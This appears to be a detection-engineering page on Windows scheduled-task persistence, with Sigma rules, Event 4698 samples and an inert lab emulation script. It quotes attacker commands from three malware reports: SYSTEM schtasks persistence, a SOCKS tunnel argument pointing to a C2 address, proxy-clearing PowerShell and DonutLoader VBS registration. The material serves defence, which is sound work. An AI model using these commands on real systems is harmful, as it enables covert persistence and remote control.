Scheduled Task Registration

A scheduler-managed job requires a registered task definition before Task Scheduler can execute its action.

Persistence T1053.005 T1053 Detection difficulty: MEDIUM Prevalence: HIGH

Detects the required Windows Task Scheduler registration boundary used by adversaries to obtain scheduler-managed persistence or execution. Task names, triggers, and payloads vary, but the task definition must be registered before Task Scheduler can run it.

Attack Chokepoints 3 invariant stages

Applying the chokepoint framework to Scheduled Task Registration. Learn the framework →

Attacker controls (variables)
  • Task name, trigger, principal, and action command
  • Whether registration uses schtasks.exe, PowerShell ScheduledTasks cmdlets, or the Task Scheduler API
Attacker cannot control (chokepoints)
  • A scheduler-managed job requires creation or modification of a task definition
  • The operating system must persist the registered task and its execution context
1 Task registration request
  • Windows Security auditing records Event ID 4698 and forwards TaskName and TaskContent to the telemetry backend.
Input A local or remote caller submits a task definition through schtasks.exe, PowerShell, WMI, COM, or the ScheduledTasks API
Chokepoint Scheduler-managed execution begins with a task-registration request containing a trigger, principal, and action.
Observable Process, PowerShell, WMI, or RPC telemetry records the caller and registration interface before the task can be accepted.
Why unavoidable
Changing the registration API changes the caller telemetry but does not remove the required registration request.
  • Process creation, PowerShell Script Block Logging, WMI Activity, or Task Scheduler RPC telemetry
View rule →
A task name, trigger, principal, and action supplied thro...
2 Task definition registration
Input A task name, trigger, principal, and action supplied through a supported Task Scheduler interface
Chokepoint The adversary must register or modify a Windows scheduled task before Task Scheduler can execute the documented job.
Observable Security Event 4698/4702 and TaskScheduler Operational telemetry describe the registered definition and execution context.
Why unavoidable
Changing the task name, trigger, payload, or registration API does not remove the scheduler registration required for scheduler-managed execution.
  • Windows Security Event ID 4698/4702
  • Microsoft-Windows-TaskScheduler/Operational
  • Process creation for schtasks.exe or PowerShell ScheduledTasks cmdlets
View rule →
The persisted task definition is evaluated under its decl...
3 Scheduler-managed execution context
Input The persisted task definition is evaluated under its declared trigger and principal
Chokepoint Task Scheduler must load the registered definition before it can launch the action in scheduler context.
Observable TaskScheduler Operational events and correlated process creation expose the task identity, principal, and spawned action.
Why unavoidable
An adversary can avoid execution telemetry only by abandoning Task Scheduler, which exits this chokepoint.
  • Microsoft-Windows-TaskScheduler/Operational and process creation telemetry
View rule →

Variations 3 variants tracked

Tools and methods that exploit this chokepoint. The list grows. The chokepoint doesn't change.

The Gentlemen WindowsConnSvc task 2026-05-21 Emerging
The report documents a SYSTEM scheduled task named WindowsConnSvc launching C:\Windows\Temp\svchost32.exe for persistent C2 access.
A command shell creates a SYSTEM task named WindowsConnSvc on a minute schedule.
schtasks /create /tn WindowsConnSvc /tr C:\Windows\Temp\svchost32.exe /sc minute /ru SYSTEM
  • TaskName: WindowsConnSvc
  • Action path: C:\Windows\Temp\svchost32.exe
Same chokepoint: The task name and payload are attacker-controlled; Windows still requires a persisted Task Scheduler definition.
Source: www.huntress.com →
Exodus RAT INetHealth task 2026-09-01 Emerging
The report documents an INetHealth scheduled task launching headless PowerShell with an encoded command.
A scheduled task named INetHealth launches a headless PowerShell action.
conhost.exe --headless powershell -e [Base64 blob; encoded value not published by the source]
$xbzshxel = @'
[DllImport("wininet.dll", SetLastError = true, CharSet=CharSet.Auto)]
public static extern bool InternetSetOption(IntPtr hInternet, int dwOption, IntPtr lpBuffer, int dwBufferLength);
'@
$hapiuysw = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
Set-ItemProperty -path $hapiuysw ProxyEnable   -value 0  -ErrorAction Stop
Set-ItemProperty -path $hapiuysw ProxyServer   -value "" -ErrorAction Stop
Set-ItemProperty -path $hapiuysw AutoConfigURL -Value "" -ErrorAction Stop
$miihtwvx = Add-Type -MemberDefinition $xbzshxel -Name syjtmthn -PassThru
$gmsqtp = $miihtwvx::InternetSetOption(0, 39, 0, 0)
$pfoguq = $miihtwvx::InternetSetOption(0, 37, 0, 0)
  • TaskName: INetHealth
  • Action includes conhost.exe, powershell, and a Base64-encoded argument
  • Decoded behavior clears ProxyEnable, ProxyServer, and AutoConfigURL, then refreshes WinINet settings
Same chokepoint: A different task name and command still cross the same Task Scheduler registration boundary.
Source: www.huntress.com →
DonutLoader IntelDriver logon task 2026-08-03 Emerging
DonutLoader writes a UTF-16 task definition and registers IntelDriver from XML. At user logon, Task Scheduler starts wscript.exe with IntelDriver.vbs, which launches C:\ProgramData\IntelDriver\IJil.cmd hidden.
Source-literal commands from Figure 14 retain the report variable names; Figure 13 and the report prose supply the resolved IntelDriver identifiers listed below.
$vxvI4iCwnpqCjEX | Out-File -Encoding Unicode $BBkphUlrU4QvXFb
schtasks /create /tn $rrNLCksCzgXcVls /xml $BBkphUlrU4QvXFb /f
Set objShell = CreateObject("WScript.Shell")
objShell.Run "$BtIdr76EOPPVbmV\IJil.cmd", 0, False
  • TaskName: IntelDriver
  • Trigger: current-user logon
  • Task action: wscript.exe C:\ProgramData\IntelDriver\IntelDriver.vbs
  • Launcher target: C:\ProgramData\IntelDriver\IJil.cmd
  • Task settings: InteractiveToken, LeastPrivilege, Hidden=true, StartWhenAvailable=true
Same chokepoint: The XML and VBS implementation changes the payload chain, but still requires Task Scheduler to register the IntelDriver definition before logon execution.
Source: www.aryaka.com →

Detection Strategy

Rules organized by the chokepoint stage they detect. Each stage has one or more rules at different maturity levels.

1 Task registration request
Hunt rule
Low FP
Goal
Prioritize writable-path interpreter tasks and headless encoded PowerShell task actions.
Log Sources
  • Windows Security Event ID 4698
FP Rate
Low
Use Case
Behavioral threat hunt across task-name and registration-method variants
EventID 4698 plus either a writable path with an interpreter/suspicious executable or the headless encoded PowerShell action shape.
Sigma Rule - Hunt Level
title: Scheduled Task Registration With Suspicious Writable-Path Action
id: 2df740bf-24b0-4387-9169-107c2eb85184
status: experimental
description: Detects scheduled-task registration from writable paths when the definition invokes an interpreter, script host, or a source-grounded suspicious executable shape.
references:
- https://www.huntress.com/blog/the-gentlemen-ransomware-defense-evasion-ttps
- https://www.huntress.com/blog/exodus-crypto-wallet-installer-rat
- https://www.aryaka.com/docs/reports/donutloader-multi-stage-loader-report.pdf
author: '@iimp0ster'
date: 2026/09/08
tags:
- attack.persistence
- attack.t1053.005
- detection.maturity.hunt
logsource:
  product: windows
  service: security
detection:
  selection_event:
    EventID: 4698
  selection_path:
    TaskContent|contains:
    - '\AppData\'
    - '\Temp\'
    - '\ProgramData\'
  selection_action:
    TaskContent|contains:
    - 'powershell'
    - 'pythonw.exe'
    - 'wscript.exe'
    - 'svchost32.exe'
  selection_headless_powershell:
    TaskContent|contains|all:
    - 'conhost.exe'
    - '--headless'
    - 'powershell'
    - '-e'
  condition: selection_event and ((selection_path and selection_action) or selection_headless_powershell)
falsepositives:
- Development tooling or administrative automation that intentionally uses an interpreter from a user profile
- Developer tooling that intentionally uses conhost.exe headless mode to launch encoded PowerShell
- Software updaters or management tasks that legitimately launch script hosts from ProgramData
level: medium
2 Task definition registration
Research rule
High FP
Goal
Find scheduled tasks whose definitions execute from writable data paths or invoke headless encoded PowerShell.
Log Sources
  • Windows Security Event ID 4698
FP Rate
High
Use Case
Broad hunt for scheduler-managed execution from writable locations
EventID 4698 and TaskContent contains an AppData, Temp, or ProgramData path, or the conhost.exe --headless PowerShell encoded-command shape.
Sigma Rule - Research Level
title: Scheduled Task Registration From Writable Paths
id: 02fb88c4-d939-42ce-9443-ecdd233487ad
status: experimental
description: Detects creation of a Windows scheduled task whose definition references a writable data path or invokes the source-grounded headless encoded PowerShell action shape.
references:
- https://www.huntress.com/blog/the-gentlemen-ransomware-defense-evasion-ttps
- https://www.huntress.com/blog/exodus-crypto-wallet-installer-rat
- https://www.aryaka.com/docs/reports/donutloader-multi-stage-loader-report.pdf
- https://attack.mitre.org/techniques/T1053/005/
author: '@iimp0ster'
date: 2026/09/08
tags:
- attack.persistence
- attack.t1053.005
- detection.maturity.research
logsource:
  product: windows
  service: security
detection:
  selection_event:
    EventID: 4698
  selection_path:
    TaskContent|contains:
    - '\AppData\'
    - '\Temp\'
    - '\ProgramData\'
  selection_headless_powershell:
    TaskContent|contains|all:
    - 'conhost.exe'
    - '--headless'
    - 'powershell'
    - '-e'
  condition: selection_event and (selection_path or selection_headless_powershell)
falsepositives:
- Software updaters and enterprise management tools that register tasks from writable data paths
- Developer tooling that intentionally uses conhost.exe headless mode to launch encoded PowerShell
level: low
3 Scheduler-managed execution context
Analyst rule
Low FP
Goal
Match the source-grounded WindowsConnSvc, INetHealth, and IntelDriver task shapes.
Log Sources
  • Windows Security Event ID 4698
FP Rate
Low
Use Case
High-confidence triage with direct source or controlled-lab context
EventID 4698 and the source-specific WindowsConnSvc, INetHealth, or IntelDriver task-and-action pair.
Sigma Rule - Analyst Level
title: Source-Grounded Suspicious Scheduled Task Registration
id: d0b55371-f727-46a8-9ff2-e6bb6d9987d8
status: experimental
description: Detects the source-grounded WindowsConnSvc, INetHealth, and IntelDriver scheduled-task shapes documented by the contributing reports.
references:
- https://www.huntress.com/blog/the-gentlemen-ransomware-defense-evasion-ttps
- https://www.huntress.com/blog/exodus-crypto-wallet-installer-rat
- https://www.aryaka.com/docs/reports/donutloader-multi-stage-loader-report.pdf
author: '@iimp0ster'
date: 2026/09/08
tags:
- attack.persistence
- attack.t1053.005
- detection.maturity.analyst
logsource:
  product: windows
  service: security
detection:
  selection_event:
    EventID: 4698
  selection_gentlemen_action:
    TaskContent|contains: 'C:\Windows\Temp\svchost32.exe'
  selection_exodus_action:
    TaskContent|contains|all:
    - 'conhost.exe'
    - '--headless'
    - 'powershell'
    - '-e'
  selection_donutloader:
    TaskName|contains: '\IntelDriver'
    TaskContent|contains|all:
    - 'wscript.exe'
    - '\ProgramData\IntelDriver\IntelDriver.vbs'
  condition: selection_event and (selection_gentlemen_action or selection_exodus_action or selection_donutloader)
falsepositives:
- A legitimate INetHealth task using conhost.exe headless mode to launch encoded PowerShell
- A legitimate IntelDriver task using Windows Script Host from the same ProgramData path
level: high

Prevention

Restrict who can register tasks and which binaries Task Scheduler may launch. Application control and least-privilege task-registration policy reduce abuse even when an attacker changes the task name, trigger, or registration API.

Endpoint · Application Control

Block or constrain task actions that execute unsigned binaries and interpreters from user-writable or temporary directories.

Prevents the most common malicious task actions from progressing after registration while preserving approved scheduler use.

Identity · Least Privilege

Limit remote administration and local principals permitted to create SYSTEM-level scheduled tasks.

Reduces the identities able to cross the task-registration boundary with elevated execution context.

Raw Log Samples 3 samples

Detection-relevant event examples. Each card identifies its evidence basis and the Sigma tiers it exercises.

EID 4698 Windows Security The Gentlemen WindowsConnSvc task — source-shaped Event 4698 fixture ResearchHuntAnalyst
Evidence: Normalized only from the task name, schedule, principal, action, and arguments published in the Huntress report; no unrelated Event 4698 metadata is invented. Open source report ↗
EventID: 4698
TaskName: \\WindowsConnSvc
TaskContent:
  <Task>
    <Triggers>
      <CalendarTrigger>
        <Repetition><Interval>PT2M</Interval></Repetition>
      </CalendarTrigger>
    </Triggers>
    <Principals>
      <Principal><UserId>SYSTEM</UserId></Principal>
    </Principals>
    <Actions>
      <Exec>
        <Command>C:\Windows\Temp\svchost32.exe</Command>
        <Arguments>client 77.110.122[.]137:37182 R:1085:socks</Arguments>
      </Exec>
    </Actions>
  </Task>
EID 4698 Windows Security Exodus RAT INetHealth task — source-shaped Event 4698 fixture ResearchHuntAnalyst
Evidence: Normalized from the task name, action prefix, and decoded PowerShell published in the Huntress report. The report did not publish the original Base64 argument or a native Event 4698 record. Open source report ↗
EventID: 4698
TaskName: \\INetHealth
TaskContent:
  <Task>
    <Actions>
      <Exec>
        <Command>conhost.exe</Command>
        <Arguments>--headless powershell -e [Base64 value not published by source]</Arguments>
      </Exec>
    </Actions>
  </Task>

Decoded task argument published by source:
  $xbzshxel = @'
  [DllImport("wininet.dll", SetLastError = true, CharSet=CharSet.Auto)]
  public static extern bool InternetSetOption(IntPtr hInternet, int dwOption, IntPtr lpBuffer, int dwBufferLength);
  '@
  $hapiuysw = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
  Set-ItemProperty -path $hapiuysw ProxyEnable   -value 0  -ErrorAction Stop
  Set-ItemProperty -path $hapiuysw ProxyServer   -value "" -ErrorAction Stop
  Set-ItemProperty -path $hapiuysw AutoConfigURL -Value "" -ErrorAction Stop
  $miihtwvx = Add-Type -MemberDefinition $xbzshxel -Name syjtmthn -PassThru
  $gmsqtp = $miihtwvx::InternetSetOption(0, 39, 0, 0)
  $pfoguq = $miihtwvx::InternetSetOption(0, 37, 0, 0)
EID 4698 Windows Security IntelDriver task creation ResearchHuntAnalyst Coverage gap
Evidence: Source-shaped from the task name and working directory in the report prose and Figure 13, the appendix filename, and the variable-backed task XML and VBS behavior visible in Figure 14. The full VBS path is an explicit cross-figure normalization, not a source-literal native Event 4698 record. Open source report ↗
Detection gap: The DonutLoader rule expansion has not yet been revalidated in the lab.
EventID: 4698
TaskName: \IntelDriver
TaskContent:
  <Task version="1.4">
    <Triggers>
      <LogonTrigger><Enabled>true</Enabled></LogonTrigger>
    </Triggers>
    <Principals>
      <Principal><LogonType>InteractiveToken</LogonType><RunLevel>LeastPrivilege</RunLevel></Principal>
    </Principals>
    <Settings><StartWhenAvailable>true</StartWhenAvailable><Hidden>true</Hidden></Settings>
    <Actions>
      <Exec>
        <Command>wscript.exe</Command>
        <Arguments>"C:\ProgramData\IntelDriver\IntelDriver.vbs"</Arguments>
      </Exec>
    </Actions>
  </Task>

Emulation

ATT&CK: T1053.005 Registers inert task definitions for the Research, Hunt, and Analyst rules. It does not start the task actions. powershell
Lab use only. Runs only in the isolated Ludus Windows VM inside an Intelopes-owned snapshot bracket and restores the guest afterward.
POWERSHELL
#Requires -Version 5.1
# MITRE ATT&CK: T1053.005 — Scheduled Task/Job: Scheduled Task
# Registers inert scheduled-task shapes used to validate Event 4698 collection and
# the Research, Hunt, and Analyst rules. Task actions are never started.

[CmdletBinding()]
param(
    [switch]$CleanupOnly,
    [ValidatePattern('^[0-9a-fA-F]{8}$')]
    [string]$RunSuffix
)

Set-StrictMode -Version Latest
$ErrorActionPreference = 'Stop'

$Suffix = if ($RunSuffix) { $RunSuffix.ToLowerInvariant() } else { [Guid]::NewGuid().ToString('N').Substring(0, 8) }
$TaskNames = @(
    "TIC-System-Control-$Suffix",
    "TIC-AppData-Logon-$Suffix",
    "TempLogA-$Suffix",
    "BackupCheck-$Suffix",
    "Microsoft\Windows\ApplicationData\DsSvcCleanup-$Suffix",
    "WindowsConnSvc-$Suffix",
    "INetHealth-$Suffix",
    "IntelDriver-$Suffix"
)

function Remove-LabTasks {
    foreach ($TaskName in $TaskNames) {
        & "$env:SystemRoot\System32\schtasks.exe" /Delete /TN $TaskName /F 2>$null | Out-Null
    }
}

if ($CleanupOnly) {
    if (-not $RunSuffix) { throw '-CleanupOnly requires the eight-character RunSuffix printed by the original run.' }
    Remove-LabTasks
    return
}

Write-Host '=== Scheduled Task Chokepoint Emulation ===' -ForegroundColor Magenta
Write-Host 'Registers eight inert task definitions. No task action is executed.' -ForegroundColor DarkGray
Write-Host "Recovery suffix: $Suffix" -ForegroundColor DarkGray

try {
    $Definitions = @(
        @{
            Name = $TaskNames[0]; Schedule = 'ONSTART'
            Execute = "$env:SystemRoot\System32\wevtutil.exe"; Arguments = 'gli System /c:1'
        },
        @{
            Name = $TaskNames[1]; Schedule = 'ONLOGON'
            Execute = "$env:APPDATA\TIC\updater.exe"; Arguments = '--check'
        },
        @{
            Name = $TaskNames[2]; Schedule = 'DAILY'; Start = '13:00'
            Execute = "$env:APPDATA\WPy64-31401\python\pythonw.exe"; Arguments = 'internal.py'
        },
        @{
            Name = $TaskNames[3]; Schedule = 'ONLOGON'
            Execute = "$env:APPDATA\2FAGuard\setup.exe"; Arguments = 'doit'
        },
        @{
            Name = $TaskNames[4]; Schedule = 'MINUTE'; Modifier = '11'
            Execute = "$env:SystemRoot\System32\wscript.exe"; Arguments = "$env:TEMP\TIC\payload.vbs //b //e:vbscript"
        },
        @{
            Name = $TaskNames[5]; Schedule = 'MINUTE'; Modifier = '2'
            Execute = "$env:SystemRoot\Temp\svchost32.exe"; Arguments = 'client 77.110.122[.]137:37182 R:1085:socks'
        },
        @{
            Name = $TaskNames[6]; Schedule = 'MINUTE'; Modifier = '60'
            Execute = "$env:SystemRoot\System32\conhost.exe"; Arguments = '--headless powershell -e VwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAnAEkATgBlAHQASABlAGEAbAB0AGgAJwA='
        },
        @{
            Name = $TaskNames[7]; Schedule = 'ONLOGON'
            Execute = "$env:SystemRoot\System32\wscript.exe"; Arguments = "`"$env:ProgramData\IntelDriver\IntelDriver.vbs`""
        }
    )

    $DisabledSettings = New-ScheduledTaskSettingsSet -Disable
    $SystemPrincipal = New-ScheduledTaskPrincipal -UserId 'SYSTEM' -LogonType ServiceAccount -RunLevel Highest
    foreach ($Definition in $Definitions) {
        $Action = New-ScheduledTaskAction -Execute $Definition.Execute -Argument $Definition.Arguments
        $Trigger = switch ($Definition.Schedule) {
            'ONSTART' { New-ScheduledTaskTrigger -AtStartup }
            'ONLOGON' { New-ScheduledTaskTrigger -AtLogOn }
            'DAILY'   { New-ScheduledTaskTrigger -Daily -At $Definition.Start }
            'MINUTE'  {
                New-ScheduledTaskTrigger -Once -At (Get-Date).AddDays(1) `
                    -RepetitionInterval (New-TimeSpan -Minutes ([int]$Definition.Modifier))
            }
        }
        $TaskPath = '\'
        $TaskName = $Definition.Name
        $Separator = $Definition.Name.LastIndexOf('\')
        if ($Separator -ge 0) {
            $TaskPath = "\$($Definition.Name.Substring(0, $Separator))\"
            $TaskName = $Definition.Name.Substring($Separator + 1)
        }
        $Task = New-ScheduledTask -Action $Action -Trigger $Trigger -Settings $DisabledSettings -Principal $SystemPrincipal
        Register-ScheduledTask -TaskName $TaskName -TaskPath $TaskPath -InputObject $Task -Force | Out-Null
        $Registered = Get-ScheduledTask -TaskName $TaskName -TaskPath $TaskPath
        if ($Registered.State -ne 'Disabled') { throw "Inert task $($Definition.Name) was not disabled at registration" }
    }

    Write-Host 'Eight task-registration events generated for collection.' -ForegroundColor Green
    Write-Host 'Expected telemetry: Windows Security Event ID 4698.' -ForegroundColor DarkCyan
}
finally {
    Remove-LabTasks
    Write-Host 'Lab task definitions removed.' -ForegroundColor Green
}

OSINT Pivots